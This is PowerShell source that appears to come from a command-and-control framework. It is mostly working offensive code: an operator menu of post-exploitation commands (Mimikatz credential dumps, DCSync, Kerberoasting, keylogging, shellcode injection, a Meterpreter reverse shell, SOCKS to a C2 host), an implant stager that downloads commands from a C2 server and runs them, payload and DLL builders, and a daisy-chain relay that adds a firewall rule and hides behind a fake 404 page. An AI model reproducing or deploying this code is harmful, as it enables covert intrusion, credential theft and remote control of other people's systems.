write-host " Get-NetDomainController | Select name | get-netsession | select *username,*CName" -ForegroundColor Green
write-host " Get-DFSshare | get-netsession | Select *username,*CName" -ForegroundColor Green
write-host " Get-NetFileServer | get-netsession | Select *username,*CName" -ForegroundColor Green
write-host " Invoke-Kerberoast -OutputFormat HashCat|Select-Object -ExpandProperty hash" -ForegroundColor Green
write-host " Write-SCFFile -IPaddress 127.0.0.1 -Location \\localhost\c$\temp\" -ForegroundColor Green
write-host " Write-INIFile -IPaddress 127.0.0.1 -Location \\localhost\c$\temp\" -ForegroundColor Green
write-host ' Get-NetGroup | Select-String -pattern "Internet" ' -ForegroundColor Green
write-host " Invoke-Hostscan -IPRangeCIDR 172.16.0.0/24 (Provides list of hosts with 445 open)" -ForegroundColor Green
write-host " Get-NetFileServer -Domain testdomain.com" -ForegroundColor Green
write-host " Find-InterestingFile -Path \\SERVER\Share -OfficeDocs -LastAccessTime (Get-Date).AddDays(-7)" -ForegroundColor Green
write-host " Brute-AD" -ForegroundColor Green
write-host " Brute-LocAdmin -Username administrator" -ForegroundColor Green
Write-Host " Get-PassPol" -ForegroundColor Green
Write-Host " Get-PassNotExp" -ForegroundColor Green
Write-Host " Get-LocAdm" -ForegroundColor Green
Write-Host " Invoke-Inveigh -HTTP Y -Proxy Y -NBNS Y -Tool 1" -ForegroundColor Green
Write-Host " Get-Inveigh | Stop-Inveigh (Gets Output from Inveigh Thread)" -ForegroundColor Green
Write-Host " Invoke-Sniffer -OutputFile C:\Temp\Output.txt -MaxSize 50MB -LocalIP 10.10.10.10" -ForegroundColor Green
Write-Host " Invoke-SqlQuery -sqlServer 10.0.0.1 -User sa -Pass sa -Query 'SELECT @@VERSION'" -ForegroundColor Green
Write-Host " Invoke-Runas -User <user> -Password '<pass>' -Domain <dom> -Command C:\Windows\System32\cmd.exe -Args `" /c calc.exe`"" -ForegroundColor Green
Write-Host " Invoke-Pipekat -Target <ip-optional> -Domain <dom> -Username <user> -Password '<pass>' -Hash <hash-optional>" -ForegroundColor Green
write-host " Invoke-WMIExec -Target <ip> -Domain <dom> -Username <user> -Password '<pass>' -Hash <hash-optional> -command <cmd>" -ForegroundColor Green
} if (($t -eq 0) -or ($t -eq 6)) {
write-host `n "Lateral Movement: " -ForegroundColor Green
write-host "=========================================================" -ForegroundColor Red
Write-Host " Invoke-RunasPayload -User <user> -Password '<pass>' -Domain <dom>" -ForegroundColor Green
Write-Host " Invoke-RunasProxyPayload -User <user> -Password '<pass>' -Domain <dom>" -ForegroundColor Green
Write-Host " Invoke-RunasDaisyPayload -User <user> -Password '<pass>' -Domain <dom>" -ForegroundColor Green
write-host " Invoke-DCOMPayload -Target <ip>" -ForegroundColor Green
write-host " Invoke-DCOMProxyPayload -Target <ip>" -ForegroundColor Green
write-host " Invoke-DCOMDaisyPayload -Target <ip>" -ForegroundColor Green
write-host " Invoke-PsExecPayload -Target <ip> -Domain <dom> -User <user> -pass '<pass>' -Hash <hash-optional>" -ForegroundColor Green
write-host " Invoke-PsExecProxyPayload -Target <ip> -Domain <dom> -User <user> -pass '<pass>' -Hash <hash-optional>" -ForegroundColor Green
write-host " Invoke-PsExecDaisyPayload -Target <ip> -Domain <dom> -User <user> -pass '<pass>' -Hash <hash-optional>" -ForegroundColor Green
write-host " Invoke-WMIPayload -Target <ip> -Domain <dom> -Username <user> -Password '<pass>' -Hash <hash-optional>" -ForegroundColor Green
write-host " Invoke-WMIProxyPayload -Target <ip> -Domain <dom> -User <user> -pass '<pass>' -Hash <hash-optional>" -ForegroundColor Green
write-host " Invoke-WMIDaisyPayload -Target <ip> -Domain <dom> -user <user> -pass '<pass>'" -ForegroundColor Green
#write-host " EnableWinRM | DisableWinRM -computer <dns/ip> -user <dom\user> -pass <pass>" -ForegroundColor Green
write-host " Invoke-WinRMSession -IPAddress <ip> -user <dom\user> -pass <pass>" -ForegroundColor Green
} if (($t -eq 0) -or ($t -eq 7)) {
write-host `n "Credentials / Tokens / Local Hashes (Must be SYSTEM): " -ForegroundColor Green
write-host "=========================================================" -ForegroundColor Red
write-host " Invoke-Mimikatz | Out-String | Parse-Mimikatz" -ForegroundColor Green
write-host " Invoke-Mimikatz -Command $($tick)$($speechmarks)sekurlsa::logonpasswords$($speechmarks)$($tick)" -ForegroundColor Green
write-host " Invoke-Mimikatz -Command $($tick)$($speechmarks)lsadump::sam$($speechmarks)$($tick)" -ForegroundColor Green
write-host " Invoke-Mimikatz -Command $($tick)$($speechmarks)lsadump::lsa$($speechmarks)$($tick)" -ForegroundColor Green
write-host " Invoke-Mimikatz -Command $($tick)$($speechmarks)lsadump::cache$($speechmarks)$($tick)" -ForegroundColor Green
write-host " Invoke-Mimikatz -Command $($tick)$($speechmarks)ts::multirdp$($speechmarks)$($tick)" -ForegroundColor Green
write-host " Invoke-Mimikatz -Command $($tick)$($speechmarks)privilege::debug$($speechmarks)$($tick)" -ForegroundColor Green
write-host " Invoke-Mimikatz -Command $($tick)$($speechmarks)crypto::capi$($speechmarks)$($tick)" -ForegroundColor Green
write-host " Invoke-Mimikatz -Command $($tick)$($speechmarks)crypto::certificates /export$($speechmarks)$($tick)" -ForegroundColor Green
write-host " Invoke-Mimikatz -Command $($tick)$($speechmarks)sekurlsa::pth /user:<user> /domain:<dom> /ntlm:<HASH> /run:c:\temp\run.bat$($speechmarks)$($tick)" -ForegroundColor Green
write-host " Invoke-Mimikatz -Computer 10.0.0.1 -Command $($tick)$($speechmarks)sekurlsa::pth /user:<user> /domain:<dom> /ntlm:<HASH> /run:c:\temp\run.bat$($speechmarks)$($tick)" -ForegroundColor Green
write-host " Invoke-TokenManipulation | Select-Object Domain, Username, ProcessId, IsElevated, TokenType | ft -autosize | Out-String" -ForegroundColor Green
write-host ' Invoke-TokenManipulation -ImpersonateUser -Username "Domain\User"' -ForegroundColor Green
write-host `n "Credentials / Domain Controller Hashes: " -ForegroundColor Green
write-host "============================================" -ForegroundColor Red
write-host " Invoke-Mimikatz -Command $($tick)$($speechmarks)lsadump::dcsync /domain:domain.local /user:administrator$($speechmarks)$($tick)" -ForegroundColor Green
write-host " Invoke-DCSync -PWDumpFormat" -ForegroundColor Green
write-host " Dump-NTDS -EmptyFolder <emptyfolderpath>" -ForegroundColor Green
} if (($t -eq 0) -or ($t -eq 8)) {
write-host `n "Useful Modules: " -ForegroundColor Green
write-host "====================" -ForegroundColor Red
write-host " Get-Screenshot" -ForegroundColor Green
write-host " Get-ScreenshotAllWindows" -ForegroundColor Green
write-host " Get-ScreenshotMulti -Timedelay 120 -Quantity 30" -ForegroundColor Green
write-host " Get-RecentFiles" -ForegroundColor Green
write-host " Cred-Popper" -ForegroundColor Green
write-host " Get-Clipboard" -ForegroundColor Green
write-host " Hashdump" -ForegroundColor Green
write-host ' Get-Keystrokes' -ForegroundColor Green
write-host " ArpScan -IPCidr 10.0.0.1/24" -ForegroundColor Green
write-host " PortScan -IPaddress 10.0.0.1-50 -Ports `"1-65535`" -maxQueriesPS 10000 -delay 0" -ForegroundColor Green
write-host " Invoke-UserHunter -StopOnSuccess" -ForegroundColor Green
write-host " Migrate" -ForegroundColor Green
write-host " Migrate -x64 -ProcID 444" -ForegroundColor Green
write-host " Migrate -x64 -ProcessPath C:\Windows\System32\cmd.exe" -ForegroundColor Green
write-host " Migrate -x86" -ForegroundColor Green
write-host " Migrate-x64 -ProcID 4444" -ForegroundColor Green
write-host " Migrate-x64 -ProcessPath C:\Windows\System32\cmd.exe" -ForegroundColor Green
write-host " Migrate-x86 -ProcessPath C:\Windows\System32\cmd.exe" -ForegroundColor Green
write-host " Migrate-Proxy-x86 -ProcID 4444" -ForegroundColor Green
write-host " Migrate-Proxy-x64 -ProcID 444" -ForegroundColor Green
write-host " Migrate-Daisy-x86 -Name DC1 -ProcID 444" -ForegroundColor Green
write-host " Migrate-Daisy-x64 -Name DC2" -ForegroundColor Green
write-host " Inject-Shellcode -x86 -Shellcode (GC C:\Temp\Shellcode.bin -Encoding byte) -ProcID 5634" -ForegroundColor Green
write-host " Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.16.0.100 -Lport 443 -Force" -ForegroundColor Green
write-host ' Get-Eventlog -newest 10000 -instanceid 4624 -logname security | select message -ExpandProperty message | select-string -pattern "user1|user2|user3"' -ForegroundColor Green
write-host ' Send-MailMessage -to "[email protected]" -from "User01 <[email protected]>" -subject <> -smtpServer <> -Attachment <>'-ForegroundColor Green
write-host ' SharpSocks -Uri http://www.c2.com:9090 -Beacon 2000 -Insecure' -ForegroundColor Green
write-host `n "Implant Handler: " -ForegroundColor Green
write-host "=====================" -ForegroundColor Red
write-host " Back" -ForegroundColor Green
write-host " Exit" `n -ForegroundColor Green
}
}
# call back command
$command = '[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
function Get-Webclient ($Cookie) {
$d = (Get-Date -Format "dd/MM/yyyy");
$d = [datetime]::ParseExact($d,"dd/MM/yyyy",$null);
$k = [datetime]::ParseExact("'+$killdatefm+'","dd/MM/yyyy",$null);
if ($k -lt $d) {exit}
$wc = New-Object System.Net.WebClient;
$wc.UseDefaultCredentials = $true;
$wc.Proxy.Credentials = $wc.Credentials;
$h="'+$domainfrontheader+'"
if ($h) {$wc.Headers.Add("Host",$h)}
$wc.Headers.Add("User-Agent","'+$useragent+'")
if ($cookie) {
$wc.Headers.Add([System.Net.HttpRequestHeader]::Cookie, "SessionID=$Cookie")
} $wc }
function primer {
if ($env:username -eq $env:computername+"$"){$u="SYSTEM"}else{$u=$env:username}
$pre = [System.Text.Encoding]::Unicode.GetBytes("$env:userdomain\$u;$u;$env:computername;$env:PROCESSOR_ARCHITECTURE;$pid")
$p64 = [Convert]::ToBase64String($pre)
$pm = (Get-Webclient -Cookie $p64).downloadstring("'+$ipv4address+":"+$serverport+'/connect")
$pm = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($pm))
$pm }
$pm = primer
if ($pm) {$pm| iex} else {
start-sleep 10
primer | iex }'
function Get-RandomURI
{
param (
[int]$Length
)
$set = 'abcdefghijklmnopqrstuvwxyz0123456789'.ToCharArray()
$result = ''
for ($x = 0; $x -lt $Length; $x++)
{
$result += $set | Get-Random
}
return $result
}
# creates a randon AES symetric encryption key
function Create-AesManagedObject
{
param
(
[Object]
$key,
[Object]
$IV
)
$aesManaged = New-Object -TypeName 'System.Security.Cryptography.RijndaelManaged'
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
if ($IV)
{
if ($IV.getType().Name -eq 'String')
{$aesManaged.IV = [System.Convert]::FromBase64String($IV)}
else
{$aesManaged.IV = $IV}
}
if ($key)
{
if ($key.getType().Name -eq 'String')
{$aesManaged.Key = [System.Convert]::FromBase64String($key)}
else
{$aesManaged.Key = $key}
}
$aesManaged
}
# creates a randon AES symetric encryption key
function Create-AesKey()
{
$aesManaged = Create-AesManagedObject
$aesManaged.GenerateKey()
[System.Convert]::ToBase64String($aesManaged.Key)
}
function PatchDll {
param($dllBytes, $replaceString, $Arch, $offset)
if ($Arch -eq 'x86') {
$dllOffset = 0x00012F80
#$dllOffset = 0x00012ED0 +8
}
if ($Arch -eq 'x64') {
$dllOffset = 0x00017300
}
if($offset) {
$dllOffset = $offset
}
# Patch DLL - replace 8000 A's
$replaceStringBytes = ([System.Text.Encoding]::UNICODE).GetBytes($replaceString)
# Length of replacement code
$dllLength = $replaceString.Length
$patchLength = 8000 -$dllLength
$nullString = 0x00*$patchLength
$nullBytes = ([System.Text.Encoding]::UNICODE).GetBytes($nullString)
$nullBytes = $nullBytes[1..$patchLength]
$replaceNewStringBytes = ($replaceStringBytes+$nullBytes)
$dllLength = 16000 -2
$i=0
# Loop through each byte from start position
$dllOffset..($dllOffset + $dllLength) | % {
$dllBytes[$_] = $replaceNewStringBytes[$i]
$i++
}
# Return Patched DLL
return $DllBytes
}
# create proxypayloads
function CreateNewPayload
{
param
(
[Parameter(Mandatory=$true)][AllowEmptyString()][string]$hostname,
[Parameter(Mandatory=$false)][AllowEmptyString()][string]$domainfrontheader
)
if ($Insecure -eq "Yes") {
$command = createdropper -enckey $enckey -killdate $killdatefm -domainfrontheader $DomainFrontHeader -ipv4address $hostname -serverport $serverport -Insecure -useragent $useragent -Referer $Referer
} else {
$command = createdropper -enckey $enckey -killdate $killdatefm -domainfrontheader $DomainFrontHeader -ipv4address $hostname -serverport $serverport -useragent $useragent -Referer $Referer
}
$dom = $hostname -replace "https://",""
$dom = $dom -replace "http://",""
$payload = createrawpayload -command $command
# create proxy payloads
CreatePayload -Domain $dom
CreateStandAloneExe -Domain $dom
CreateDLL -Domain $dom
}
# create proxypayloads
function CreateProxyPayload
{
param
(
[Parameter(Mandatory=$true)][AllowEmptyString()][string]$username,
[Parameter(Mandatory=$true)][AllowEmptyString()][string]$password,
[Parameter(Mandatory=$true)][string]$proxyurl
)
if ($Insecure -eq "Yes") {
$command = createdropper -enckey $enckey -Proxy -killdate $killdatefm -domainfrontheader $DomainFrontHeader -ipv4address $ipv4address -serverport $serverport -username $username -password $password -proxyurl $proxyurl -Insecure -useragent $useragent -Referer $Referer
} else {
$command = createdropper -enckey $enckey -Proxy -killdate $killdatefm -domainfrontheader $DomainFrontHeader -ipv4address $ipv4address -serverport $serverport -username $username -password $password -proxyurl $proxyurl -useragent $useragent -Referer $Referer
}
$payload = createrawpayload -command $command
# create proxy payloads
CreatePayload -Proxy 1
CreateStandAloneExe -Proxy 1
CreateServiceExe -Proxy 1
CreateDLL -Proxy 1
}
function Invoke-DaisyChain {
param(
[Parameter(Mandatory=$true)][string]$name,
[Parameter(Mandatory=$true)][string]$port,
[Parameter(Mandatory=$true)][string]$daisyserver,
[Parameter(Mandatory=$true)][string]$c2server,
[Parameter(Mandatory=$true)][string]$c2port,
[Parameter(Mandatory=$false)][switch]$Localhost,
[Parameter(Mandatory=$false)][AllowEmptyString()][string]$domfront,
[Parameter(Mandatory=$false)][AllowEmptyString()][string]$proxyurl,
[Parameter(Mandatory=$false)][AllowEmptyString()][string]$proxyuser,
[Parameter(Mandatory=$false)][AllowEmptyString()][string]$proxypassword)
$firewallName = Get-RandomURI -Length 15
$fw = Read-Host "Do you want to create a firewall rule for this: Y/N"
if ($fw -eq "Y") {
$fwcmd = "Netsh.exe advfirewall firewall add rule name=`"$firewallName`" dir=in action=allow protocol=TCP localport=$port enable=yes"
}
if ($Localhost.IsPresent){
$HTTPServer = "localhost"
$daisyserver = "http://localhost"
} else {
$HTTPServer = "+"
}
$command = createdropper -enckey $enckey -Daisy -killdate $killdatefm -ipv4address $daisyserver -serverport $port -Referer $Referer
$payload = createrawpayload -command $command
# create proxy payloads
CreatePayload -DaisyName $name
CreateStandAloneExe -DaisyName $name
CreateServiceExe -DaisyName $name
CreateDLL -DaisyName $name
[IO.File]::WriteAllLines("$FolderPath\payloads\$($name).bat", $payload)
Write-Host -Object "Payload written to: $FolderPath\payloads\$($name).bat" -ForegroundColor Green
$fdsf = @"
`$username = "$proxyuser"
`$password = "$proxypassword"
`$proxyurl = "$proxyurl"
`$domainfrontheader = "$domfront"
`$serverport = '$port'
`$Server = "${c2server}:${c2port}"
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true}
function Get-Webclient (`$Cookie) {
`$d = (Get-Date -Format "dd/MM/yyyy");
`$d = [datetime]::ParseExact(`$d,"dd/MM/yyyy",`$null);
`$k = [datetime]::ParseExact("$killdatefm","dd/MM/yyyy",`$null);
if (`$k -lt `$d) {exit}
`$username = `$username
`$password = `$password
`$proxyurl = `$proxyurl
`$wc = New-Object System.Net.WebClient;
`$wc.Headers.Add("User-Agent","$useragent")
`$wc.Headers.Add("Referer","$referer")
`$h=`$domainfrontheader
if (`$h) {`$wc.Headers.Add("Host",`$h)}
if (`$proxyurl) {
`$wp = New-Object System.Net.WebProxy(`$proxyurl,`$true);
`$wc.Proxy = `$wp;
}
if (`$username -and `$password) {
`$PSS = ConvertTo-SecureString `$password -AsPlainText -Force;
`$getcreds = new-object system.management.automation.PSCredential `$username,`$PSS;
`$wp.Credentials = `$getcreds;
} else {
`$wc.UseDefaultCredentials = `$true;
}
if (`$cookie) {
`$wc.Headers.Add([System.Net.HttpRequestHeader]::Cookie, "SessionID=`$Cookie")
}
`$wc
}
`$httpresponse = '
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL/s was not found on this server.</p>
<hr>
<address>Apache (Debian) Server</address>
</body></html>
'
`$URLS = $($URLS),$($SocksURLS)
`$listener = New-Object -TypeName System.Net.HttpListener
`$listener.Prefixes.Add("http://$($HTTPServer):`$serverport/")
`$listener.Start()
echo "started http server"
while (`$listener.IsListening)
{
if (`$kill.log -eq 2) {`$listener.Stop();exit}
`$message = `$null
`$context = `$listener.GetContext() # blocks until request is received
`$request = `$context.Request
`$response = `$context.Response
`$url = `$request.RawUrl
`$method = `$request.HttpMethod
if (`$null -ne (`$URLS | ? { `$url -match `$_ }) ) {
`$cookiesin = `$request.Cookies -replace 'SessionID=', ''
`$responseStream = `$request.InputStream
`$targetStream = New-Object -TypeName System.IO.MemoryStream
`$buffer = new-object byte[] 10KB
`$count = `$responseStream.Read(`$buffer,0,`$buffer.length)
`$downloadedBytes = `$count
while (`$count -gt 0)
{
`$targetStream.Write(`$buffer, 0, `$count)
`$count = `$responseStream.Read(`$buffer,0,`$buffer.length)
`$downloadedBytes = `$downloadedBytes + `$count
}
`$len = `$targetStream.length
`$size = `$len + 1
`$size2 = `$len -1
`$buffer = New-Object byte[] `$size
`$targetStream.Position = 0
`$targetStream.Read(`$buffer, 0, `$targetStream.Length)|Out-null
`$buffer = `$buffer[0..`$size2]
`$targetStream.Flush()
`$targetStream.Close()
`$targetStream.Dispose()
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true}
if (`$method -eq "GET") {
`$message = (Get-Webclient -Cookie `$cookiesin).DownloadString("`$(`$Server)`$(`$url)")
}
if (`$method -eq "POST") {
`$message = (Get-Webclient -Cookie `$cookiesin).UploadData("`$(`$Server)`$(`$url)", `$buffer)
}
}
if (!`$message) {
`$message = `$httpresponse
echo `$request
}
[byte[]] `$buffer = [System.Text.Encoding]::UTF8.GetBytes(`$message)
`$response.ContentLength64 = `$buffer.length
`$response.StatusCode = 200
`$response.Headers.Add("CacheControl", "no-cache, no-store, must-revalidate")
`$response.Headers.Add("Pragma", "no-cache")
`$response.Headers.Add("Expires", 0)
`$output = `$response.OutputStream
`$output.Write(`$buffer, 0, `$buffer.length)